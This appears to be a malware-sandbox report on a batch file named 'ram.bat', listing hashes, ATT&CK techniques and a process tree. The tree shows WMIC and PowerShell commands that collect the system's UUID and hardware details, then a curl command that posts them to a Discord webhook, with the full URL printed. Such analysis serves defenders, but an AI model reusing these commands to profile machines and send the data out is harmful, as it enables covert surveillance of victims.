561fdf64fd631258d8a6aaf9e346e20f32ead5041d4d100467b7e8ebe4a0d445

Analysis

max time kernel
149s
max time network
150s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
24/04/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ram.bat
Size 2KB
Sample260424-sd1whsd15j
SHA256 561fdf64fd631258d8a6aaf9e346e20f32ead5041d4d100467b7e8ebe4a0d445
MD5 5b09a564d0310ec8aa335ffd0d28c168
SHA1 86f4620a598701a811c0466ae99add97f3c4ed75
SHA512 b517a96ac638390d2d20935b5549e3ac090a3a949719ae3b025d158980678ed1b26d1f4edeab8a4a1fe6d083d0a0498eb2b673ce41bf37302adc90613ec6a895
TLSH
T1EE41334536DD401407D348BBE402779BFE952B16A261EECE31E0E464CEC617ABA75837
MD5 SHA1 SHA512 TLSH

Score

6^/10

execution

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	discord.com
3	discord.com

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe
1344	powershell.exe
3448	powershell.exe
4560	powershell.exe
2200	powershell.exe
2016	powershell.exe
2268	powershell.exe
5260	powershell.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4660	WMIC.exe
4660	WMIC.exe
4660	WMIC.exe
4660	WMIC.exe
4560	powershell.exe
4560	powershell.exe
2200	powershell.exe
2200	powershell.exe
2016	powershell.exe
2016	powershell.exe
2268	powershell.exe
2268	powershell.exe
5260	powershell.exe
5260	powershell.exe
2540	powershell.exe
2540	powershell.exe
1344	powershell.exe
1344	powershell.exe
3448	powershell.exe
3448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4660	WMIC.exe
Token: SeSecurityPrivilege	4660	WMIC.exe
Token: SeTakeOwnershipPrivilege	4660	WMIC.exe
Token: SeLoadDriverPrivilege	4660	WMIC.exe
Token: SeSystemProfilePrivilege	4660	WMIC.exe
Token: SeSystemtimePrivilege	4660	WMIC.exe
Token: SeProfSingleProcessPrivilege	4660	WMIC.exe
Token: SeIncBasePriorityPrivilege	4660	WMIC.exe
Token: SeCreatePagefilePrivilege	4660	WMIC.exe
Token: SeBackupPrivilege	4660	WMIC.exe
Token: SeRestorePrivilege	4660	WMIC.exe
Token: SeShutdownPrivilege	4660	WMIC.exe
Token: SeDebugPrivilege	4660	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4660	WMIC.exe
Token: SeRemoteShutdownPrivilege	4660	WMIC.exe
Token: SeUndockPrivilege	4660	WMIC.exe
Token: SeManageVolumePrivilege	4660	WMIC.exe
Token: 33	4660	WMIC.exe
Token: 34	4660	WMIC.exe
Token: 35	4660	WMIC.exe
Token: 36	4660	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4660	WMIC.exe
Token: SeSecurityPrivilege	4660	WMIC.exe
Token: SeTakeOwnershipPrivilege	4660	WMIC.exe
Token: SeLoadDriverPrivilege	4660	WMIC.exe
Token: SeSystemProfilePrivilege	4660	WMIC.exe
Token: SeSystemtimePrivilege	4660	WMIC.exe
Token: SeProfSingleProcessPrivilege	4660	WMIC.exe
Token: SeIncBasePriorityPrivilege	4660	WMIC.exe
Token: SeCreatePagefilePrivilege	4660	WMIC.exe
Token: SeBackupPrivilege	4660	WMIC.exe
Token: SeRestorePrivilege	4660	WMIC.exe
Token: SeShutdownPrivilege	4660	WMIC.exe
Token: SeDebugPrivilege	4660	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4660	WMIC.exe
Token: SeRemoteShutdownPrivilege	4660	WMIC.exe
Token: SeUndockPrivilege	4660	WMIC.exe
Token: SeManageVolumePrivilege	4660	WMIC.exe
Token: 33	4660	WMIC.exe
Token: 34	4660	WMIC.exe
Token: 35	4660	WMIC.exe
Token: 36	4660	WMIC.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeIncreaseQuotaPrivilege	4560	powershell.exe
Token: SeSecurityPrivilege	4560	powershell.exe
Token: SeTakeOwnershipPrivilege	4560	powershell.exe
Token: SeLoadDriverPrivilege	4560	powershell.exe
Token: SeSystemProfilePrivilege	4560	powershell.exe
Token: SeSystemtimePrivilege	4560	powershell.exe
Token: SeProfSingleProcessPrivilege	4560	powershell.exe
Token: SeIncBasePriorityPrivilege	4560	powershell.exe
Token: SeCreatePagefilePrivilege	4560	powershell.exe
Token: SeBackupPrivilege	4560	powershell.exe
Token: SeRestorePrivilege	4560	powershell.exe
Token: SeShutdownPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeSystemEnvironmentPrivilege	4560	powershell.exe
Token: SeRemoteShutdownPrivilege	4560	powershell.exe
Token: SeUndockPrivilege	4560	powershell.exe
Token: SeManageVolumePrivilege	4560	powershell.exe
Token: 33	4560	powershell.exe
Token: 34	4560	powershell.exe
Token: 35	4560	powershell.exe
Token: 36	4560	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 4668	4492	cmd.exe	84
PID 4492 wrote to memory of 4616	4492	cmd.exe	85
PID 4616 wrote to memory of 4660	4616	cmd.exe	86
PID 4616 wrote to memory of 4724	4616	cmd.exe	87
PID 4492 wrote to memory of 4896	4492	cmd.exe	89
PID 4896 wrote to memory of 4560	4896	cmd.exe	90
PID 4492 wrote to memory of 5848	4492	cmd.exe	91
PID 5848 wrote to memory of 2200	5848	cmd.exe	92
PID 4492 wrote to memory of 5396	4492	cmd.exe	93
PID 5396 wrote to memory of 2016	5396	cmd.exe	94
PID 4492 wrote to memory of 1216	4492	cmd.exe	95
PID 1216 wrote to memory of 2268	1216	cmd.exe	96
PID 4492 wrote to memory of 828	4492	cmd.exe	97
PID 828 wrote to memory of 5260	828	cmd.exe	98
PID 4492 wrote to memory of 1512	4492	cmd.exe	99
PID 1512 wrote to memory of 2540	1512	cmd.exe	100
PID 4492 wrote to memory of 636	4492	cmd.exe	101
PID 636 wrote to memory of 1344	636	cmd.exe	102
PID 4492 wrote to memory of 5652	4492	cmd.exe	103
PID 5652 wrote to memory of 3448	5652	cmd.exe	104
PID 4492 wrote to memory of 5632	4492	cmd.exe	105

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ram.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:4668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic csproduct get uuid /value | find "UUID"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid /value
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4660
- - C:\Windows\system32\find.exe
    find "UUID"
    3⤵
    PID:4724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "(Get-CimInstance Win32_Processor).Name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(Get-CimInstance Win32_Processor).Name"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "(Get-CimInstance Win32_Processor).NumberOfCores"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(Get-CimInstance Win32_Processor).NumberOfCores"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "(Get-CimInstance Win32_Processor).NumberOfLogicalProcessors"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(Get-CimInstance Win32_Processor).NumberOfLogicalProcessors"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "$gpus = Get-CimInstance Win32_VideoController | ForEach-Object { $_.Name }; $gpus -join ' / '"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$gpus = Get-CimInstance Win32_VideoController | ForEach-Object { $_.Name }; $gpus -join ' / '"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round((Get-PSDrive C).Used / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round((Get-PSDrive C).Used / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round((Get-PSDrive C).Free / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round((Get-PSDrive C).Free / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round(((Get-PSDrive C).Used + (Get-PSDrive C).Free) / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round(((Get-PSDrive C).Used + (Get-PSDrive C).Free) / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3448
- C:\Windows\system32\curl.exe
  curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"👤 **تفاصيل المستخدم:**\n**User:** Admin\n**Machine:** ILESDRAF\n**UUID:** 11111111-1111-1111-1111-111111111111\n\n💻 **مواصفات الجهاز:**\n**CPU:** Intel Core Processor (Broadwell)\n**Cores/Threads:** 2/2\n**RAM:** 4 GB\n**GPU:** NVIDIA GeForce 210\n**Disk C:** 861.26GB used / 881.26GB total\"}" https://discord.com/api/webhooks/1497251029199360012/iCgH5biv52zf3srhcv_Ujz8HMnYG_Npm_jg9gqJopCPrDfXRUa1DYNKyHn9fh4IW7XeM
  2⤵
  PID:5632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...